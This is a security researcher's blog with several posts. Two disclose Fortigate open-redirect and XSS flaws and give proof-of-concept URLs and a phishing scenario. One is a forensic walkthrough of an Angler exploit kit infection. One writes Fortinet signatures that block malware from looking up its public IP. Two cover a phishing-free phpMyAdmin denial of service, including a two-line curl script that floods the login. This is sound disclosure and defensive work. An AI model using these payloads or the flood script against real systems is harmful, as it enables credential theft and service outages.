Monday, May 02, 2016


Some months ago, I reported to the Fortinet PSIRT team two vulnerabilities which affect different Fortigate firmware versions. 

You probably know that "Fortinet is a leading provider of fast and secure cyber security solutions offers enterprise-level next generation firewalls and vast array of network security products."

As usual, I'm disclosing these vulnerabilities under responsible disclosure format which is (in my opinion) one of the best ways (in most cases) to publish technical details about a vulnerability.

You can find the Fortinet public advisory here.

I´d like to thank the spanish Fortinet team for helping me with the case by speeding it up.

Vulnerability Details

Affected version

  • 5.0 branch: 5.0.12 or below
  • 5.2 branch: 5.2.2 or below

*** 4.3 and lower branches are not affected

 Open Redirect

The Open Redirect is located in the Fortinet Fortigate web administration console.

Proof of concept:

  • https://fortigate-management-ip-address/login?redir=http://evil-site

The parameter "redir" doesn't have implemented any kind of validation so I´m able to redirect the browser to any malicious web site from the Fortigate web login portal.

Case study example:

  1. An attacker sends a phishing email to the firewall administrator with the link bellow https://fortigate-management-ip-address/login?redir=http://evil-site (Previously the attacker should figure out the firewall management IP address).
  2. If the administrator clicks on the link, the real portal login will appear. The administrator is supposed to type the admin credentials.
  3. When the user/pwd are typed, the browser is redirected to the attacker evil-site where there is a fake Fortigate login portal. Credentials are asked for again due to an alleged erroneous user/password.
  4. The administrator retype the credencials, the evil-site receives the user/pwd and redirects the browser to the real firewall login portal.
  5. The administrator would type the credentials again and would get access to the real firewall. Meanwhile, the attacker has stolen the user/password.

Cross Site Scripting

The Cross Site Scripting vulnerability is located in the Fortinet Fortigate web administration console.

Proof of concept:

  • https://fortigate-management-ip-address/login?redir=javascript:alert(document.cookie)

The parameter "redir" doesn't have implemented any kind of validation so we are able to execute javascript code in the victim browser.


Upgrade to one of the following FortiOS versions:

  • 5.0 branch: 5.0.13 or above
  • 5.2 branch: 5.2.3 or above
  • 5.4 branch: 5.4.0 or above


Every single device or appliance placed in your network, even the ones that are part of the security of your infrastructure, would be affected by some vulnerability. We have seen how other well known vendors like Juniper, FireEye, Cisco, etc... were affected by similar vulnerabilities as well. This should be always kept in mind.

The vulnerabilities mentioned above are hard to exploit because the firewall administrator is supposed not to click on a link that forwards to their own firewall... But who knows... ;)


Posted on Monday, May 02, 2016 by Javier Nieto

No comments

Sunday, December 13, 2015

Network forensics is something we should practice as much as possible to become faster at detecting supicious activies in our networks. This website shares network traffic captures where we can find different kinds of infections and malicious activies. I find these examples quite good to improve our skills to find evil behaviours... Also, we could be witness of new vectors attack and new evasion techniques...

Today, we are going to do the last exercise: 

Malware infection

In the post mentioned before, it was said that a malware was found in a corporate computer. We can get more information about that sample from diferent malware analysis.


Network traffic analysis

To figure out what happend, we have to work with the traffic capture published at such blog post: 2015-11-24-traffic-analysis-exercise.pcap. The first thing I´m going to do is to use tcpreplay in order to replicate the same traffic that was captured in an interface where my Suricata is listening with the latest ETPRO ruleset loaded.

After all the traffic has been replicated and analyzed, we can see on our alerts Dashboard that a computer could be affected by an Exploit Kit. Also, there are some CnC alerts...

The first Angler EK alerts came from the website neuhaus-hourakus.avelinoortiz[.]com

The order of the visits for that specific domain were:

  1. neuhaus-hourakus.avelinoortiz[.]com/forums/viewforum.php?f=15&sid=0l.h8f0o304g67j7zl29
  2. neuhaus-hourakus.avelinoortiz[.]com/who.olp?save=&effect=VFv9cHM&you=LmzXy&picture=J0sYyqN&why=Dv0ZsHPosOWnZsEC9KJ9myAYKZSGT
  3. neuhaus-hourakus.avelinoortiz[.]com/literature.disco?audience=5Hr&trip=&election=txK1BgKFW&piece=aRLmxzX&normal=QGOT&understand=IWOBe&theory=so8bghs&discover=y47E5&tell=gSIQ&opportunity=ZWe&available=z
  4. neuhaus-hourakus.avelinoortiz[.]com/yes.wbxml?unite=tXu9a5tJI&writer=J7y8dCR8F&describe=LzQOS9&for=&note=C26Z8129ea&number=gcsXv8v&next=2unI-c8
We can see that this domain has been rated as malicious by some webfiltering vendors. 

I´ve also uploaded the PCAP to Virustotal (look at Details section). Virustotal is awesome because the traffic is inspected by Snort-VTR and Suricata-ETPRO ruleset. Also Virustotal analizes all the requests and if something is detected by some Antivirus, Virustotal will warn us... We can see from the Virustotal report, that one of the first Suricata alerts related to the EK corresponds to a flash file which is related to an Exploit.

It seems we´ve found where the user could have been infected, but... Why did the user end up at that website? If we look at the first Suricata event and we look closely at the Referer field, we can see that the web page that was visited before the landing page, had a Javascript.

Digging into that Javascript, we can find an iframe which loads the EK landing page (1) and the website which loaded the Javascript (2).

If we keep analyzing back with Wireshark, we can locate the URI which called the Javascript. It seems that it could be an advertisement (1) which loaded the Javascript (2).

And... Why did this user visit www.shotgunworld[.]com? If we look at the Referer field in the follow TCP Stream, we can see that the user was redirected to that website by Google. The user could have been doing Google searches...

If we dig a little bit deeper into the connections which were made before the Google redirection, we can see that the user was interested in guns.  He did two searches in Google:


which redirects to which seems not to be infected.


which loads the EK landing page: neuhaus-hourakus.avelinoortiz[.]com/forums/viewforum.php?f=15&sid=0l.h8f0o304g67j7zl29

And... What  about the landing page? I´ve followed with the analysis and I´ve found that it had code heavily obfuscated inside the HTML code.

I´ve extracted it from the PCAP by using Wireshark and we can see the results at Virustotal.  I´ve also uploaded it to Pastebin.  As it was said, this Javascript has been heavily obfuscated and trying to deobfuscate it would be time comsuming, but if you want to try yourself, you are really welcome. I would like to share some good blog posts where you can find more info about the Angler Exploit obfuscation: Websense, Fuzzysecurity

Since we´ve not deobfuscated the Angler landing page code, we can not be 100% sure that it is related to the malware found in the computer, but I think we could assume that... After the host visited such URL, the computer started requesting suspicious URL related to botnet 

Even the computer started requesting domain names that didn't get resolved...

Those domains could have been tried to be created by some domain generation algorithm (DGA). This could be a indicator that this computer had started to belong to a Botnet.


After being notified that a piece of malware has been detected on a corporate computer, we´ve analyzed the traffic capture provided and we´ve detected the following:

  1. The user was doing Google searches related to guns.
  2. After visiting some guns shops, he ended up in that web site: www.shotgunworld[.]com
  3. This one had an advertisment which loaded a Javascript.
  4. That Javascript had a iframe which loaded the Angler EK landing page.
  5. It seems the EK was successfull and the computer began to be part of a botnet.

Posted on Sunday, December 13, 2015 by Javier Nieto

1 comment

Tuesday, September 01, 2015

In this blog post I would like to share some tricks to detect suspicious activities that could end with finding compromised hosts inside a network. I´ve noticed (I guess you too) that there are some malware out there and the first things they do, when a computer is infected, is to check the public IP address in order to let the malware developer know, where the infected host is located. We can see this behavior in a lot of malware like Cryptowall 2.0KriptovoZeroAccess and many more...

I use to work with Suricata as IDS (by the way, really happy with its performance) and Emerging Threats rules in order to detect computers trying to get its public IP address. You know... it´s weird that someone from the Human Resources department is interested in getting their computer´s public IP address...

You can find some free Suricata signatures here that are focused on that task. You can filter by "IP Check" or "External IP Lookup".

If you are using Suricata or Snort as IDS, they are good for starting an investigation when these alerts are triggered but I would like to go a little bit further without allowing the malware to get the public IP address, just to make things more difficult for the malware developer...

I´m not using Suricata as IPS but I do have an IPS and an Application Control with a Fortinet Fortigate firewall. There are many ways to achieve this goal, but this time I think my best bet is Fortinet App Control. Also, a NGFW allows us to perform a man in the middle "attack" and see what´s going on inside a SSL tunnel which makes our signatures more effective, just in case the connection goes to a SSL service...

Creating a custom App Control signature with Fortinet

I've decided to create custom signatures to detect if someone or something is trying to get the public IP address. I would like to share  three options that you could work with.

It is not a big deal to create custom signatures with Fortinet App Control to detect these connections, so for me, it worth some of my time to deal with them not only to detect them but drop them.

Example 1 - Easy mode

If we get access to we can see that the public IP address is returned.

If we look at the pcap capture we can see (obviously) that the host reached is We can see the domain in the Host line in the HTTP header, so here is where we will look and it will be defined thanks to the signature Context.

If we want to detect if someone is getting access to we just need to create the rule bellow via CLI.

config application custom
    edit ""
        set comment ''
        set signature "F-SBID( --attack_id 4467; --name \"\"; --app_cat 25; --protocol tcp; --service HTTP; --parsed_type HTTP_GET; --flow from_client; --pattern \"\"; --context host; --no_case; )"
        set category 25

You can find more APP controls example of rules in my Github account.

This rule doesn´t have a lot to explain, it´s really easy and "similar" to Snort/Suricata rules. This is a brief description of our rule:

  • -- attack_id 4467; if you don´t specify an attack_id, it will automatically assigned
  • --name; signature name
  • --app_cat 25; correspond to Web.Ohters category
  • --pattern; the string we are going to look for in the packet traffic
  • --parsed_type HTTP_GET; is the HTTP method used to retrieve the public IP address
  • --flow from_client; Match packets sent from the client to the server
  • --no_case; by default, patterns are case sensitive so --no_case makes the pattern matching case insensitive
  • --context host; context to match the pattern. There are several ones: HOST, URI, HEADER, BODY, BANNER...

Once the rules are created, you just need to add them to your AppControl sensor and set the Action.

When the changes are applied and we try to get access to again, the connection will be blocked and we will get that message: "Application Blocked". That is because "Replacement Messages for HTTP-based Applications" is checked.

If you don´t want to inform the users/malware you just need to unset "Replacement Messages for HTTP-based Applications"

and there will not be any messages, the session will be just dropped.

Example 2 - Medium mode

Sometimes we need to specify not just the hostname we want to monitor/block but we also need to specify the HTTP URI. Imagine we need to block "" but we want to let our users still to get access to "".

We will need to check two condition:
  1. Host:
  2. URI: xml
So we will need to set two patterns and two context:
  1. --pattern \"\"; --context host;
  2. --pattern \"xml\"; --context uri;
This is the rule we need to configure.

config application custom
    edit "External.IP.Lookup.-ip-api-.Custom"
        set comment ''
        set signature "F-SBID( --attack_id 5188; --name \"External.IP.Lookup.-ip-api-.Custom\"; --app_cat 25; --protocol tcp; --service HTTP; --parsed_type HTTP_GET; --flow from_client; --pattern \"\"; --context host; --no_case; --pattern \"xml\"; --context uri; --no_case; )"
        set category 25

Example 3 - Paranoid mode

As you have noticed, if the malware retrieves the public IP address from a domain which has not been included in our signatures, we will not be aware of it and the session will not be monitored/dropped.

There is a possible solution. When the malware requests the public IP address from a web server, it responds with the IP address in the HTTP body.

What we can do is to look at the responses looking for our public IP addresses. Of course, we usually have more than one, in my case, a complete class B network. In order to check if our class B network ( is included in the server response, we will use PCRE.

To achieve our goal, we need to set the following parameters:
  1. --flow from_server; Match packets sent from the server to the client
  2. --pcre /88.11.[0-9]{1,3}.[0-9]{1,3}/; That regular expression matches from to 88.11.999.999
  3. --context body; we will look at the server response in the HTTP body
So that is the rule.

config application custom
    edit "External.IP.Lookup.Detected.Custom"
        set comment ''
        set signature "F-SBID( --name \"External.IP.Lookup.Detected.Custom\"; --app_cat 25; --protocol tcp; --service HTTP; --parsed_type HTTP_GET; --flow from_server; --pcre /88.11.[0-9]{1,3}.[0-9]{1,3}/; --context body; )"
        set category 25

*** Think about possible false positives before setting this rule to Block. You should monitor before blocking because some web pages like, returns your public IP address in the commented source code...


Posted on Tuesday, September 01, 2015 by Javier Nieto

No comments

Thursday, December 11, 2014

Assuming that time enough has happened since the security update was released by phpMyAdmin, we want to share our researches. As you already know, we believe in Responsible Disclosure and that is the reason why we didn't publish this post before.

You can read the vulnerability details in the previous blog post. In this one, we show you  the way to exploit it.

1 - Create the payload.

$ echo -n "pma_username=xxxxxxxx&pma_password=" > payload && printf "%s" {1..1000000} >> payload

2 - Performing the Denial of Service attack.

$ for i in `seq 1 150`; do (curl --data @payload http://your-webserver-installation/phpmyadmin/ --silent > /dev/null &) done

Posted on Thursday, December 11, 2014 by Javier Nieto

No comments

Wednesday, December 03, 2014


"phpMyAdmin is a free software tool written in PHP, intended to handle the administration of MySQL over the Web. phpMyAdmin supports a wide range of operations on MySQL, MariaDB and Drizzle. Frequently used operations (managing databases, tables, columns, relations, indexes, users, permissions, etc) can be performed via the user interface, while you still have the ability to directly execute any SQL statement."

Before starting with our findings, we would like to thank phpMyAdmin security team for their quick response and for their interest in keeping their software secure.

My partner @cor3dump3d from and me believe in responsible disclosure, that is the reason why we have waited until a patch has been released by phpMyAdmin security team before revealing full details.

Affected Versions

Versions 4.0.x (prior to, 4.1.x (prior to and 4.2.x (prior to are affected.

More info:

Vulnerability Details

The phpMyAdmin vulnerability we are going to talk about is similar to, but a little bit different and more dangerous than the previous ones we posted some days ago: CVE-2014-9016 and CVE-2014-9034. This post describes a Proof of Concept about how to perform a Denial of Service by using long passwords which affects to the software mentioned above.

Now, we have discovered that phpMyAdmin is vulnerable to the same attack but this time for a different reason...

Why did we say more dangerous than the previous ones? In order to take advantage of this vulnerability in Drupal and Wordpress, we needed to know a valid username before launching the attack. In phpMyAdmin, it is not required to know a valid username.

In phpMyAdmin the attack works different because phpMyAdmin does not maintain any user accounts and when the user logs into phpMyAdmin, it simply relays the password to MySQL, and MySQL is not affected by this vulnerability. These are the results of these MySQL  login attempts:

Password length: 1000000 Total execution time in seconds: 0.018867969512939
Password length: 2000000 Total execution time in seconds: 0.03835391998291
Password length: 3000000 Total execution time in seconds: 0.056785106658936
Password length: 4000000 Total execution time in seconds: 0.075578212738037
Password length: 5000000 Total execution time in seconds: 0.09423303604126
Password length: 6000000 Total execution time in seconds: 0.11118984222412
Password length: 7000000 Total execution time in seconds: 0.13226509094238
Password length: 8000000 Total execution time in seconds: 0.1476719379425
Password length: 9000000 Total execution time in seconds: 0.16580295562744

So, which is the cause because phpMyAdmin is affected to this kind of attack?

If we try a login attempt by using a valid or non valid username and a 1.000.000 length password we will obtain the error below.

* Notice that 30 seconds is the maximum time a script is allowed to run before it is terminated by the parser. This helps prevent poorly written scripts from tying up the server.

Researching a little bit more, we see that in PhpMyAdmin cookie mode authentication, the password is stored, encrypted with the AES algorithm, in a temporary cookie.

We have tried to encrypt with AES these long strings and we have observed an increase of time calculation according to the length the strings.

Text length: 1024 ==> AES calculation time in seconds: 0.0085389614105225
Text length: 10240 ==> AES calculation time in seconds: 0.069222927093506
Text length: 51200 ==> AES calculation time in seconds: 0.35328578948975
Text length: 102400 ==> AES calculation time in seconds: 0.72205591201782
Text length: 512000 ==> AES calculation time in seconds: 3.5483829975128
Text length: 1024000 ==> AES calculation time in seconds: 7.1560480594635
Text length: 102400000 ==> AES calculation time in seconds: 733.4890639782

When this test was performed locally, a CPU resource exhaustion was observed.  Notice that the server doesn't crash because of the AES calculation. The vulnerability appears in conjunction with Apache, because Apache waits to PHP to finish the AES calculation. In a concurrent authentication process with a valid or non valid user and very long passwords, on the one hand PHP consumes the CPU with AES calculation processes and in the other hand, the Apache processes which are waiting, consumes the memory until the server crashes.

The result is a Denial of Service condition because of memory exhaustion.

This problem is solved in the latest phpMyAdmin patch. By applying this patch, the user credentials are stored only after a successful authentication. Further, it truncates passwords to a length of 256.

How to fix

Upgrade to phpMyAdmin or newer, or or newer, or or newer.

Proof of concept

A proof of concept will be published soon. Until that, update your phpMyAdmin installations.

CVE Information

CVE-2014-9218 has been assigned to this vulnerability.


November 26, 2014 - We sent a complete report about the vulnerability to the phpMyAdmin security team.

November 27, 2014 - phpMyAdmin started to work on this security issue.

December 3, 2014 - The phpMyAdmin security update and the security advisory is published.


Posted on Wednesday, December 03, 2014 by Javier Nieto

No comments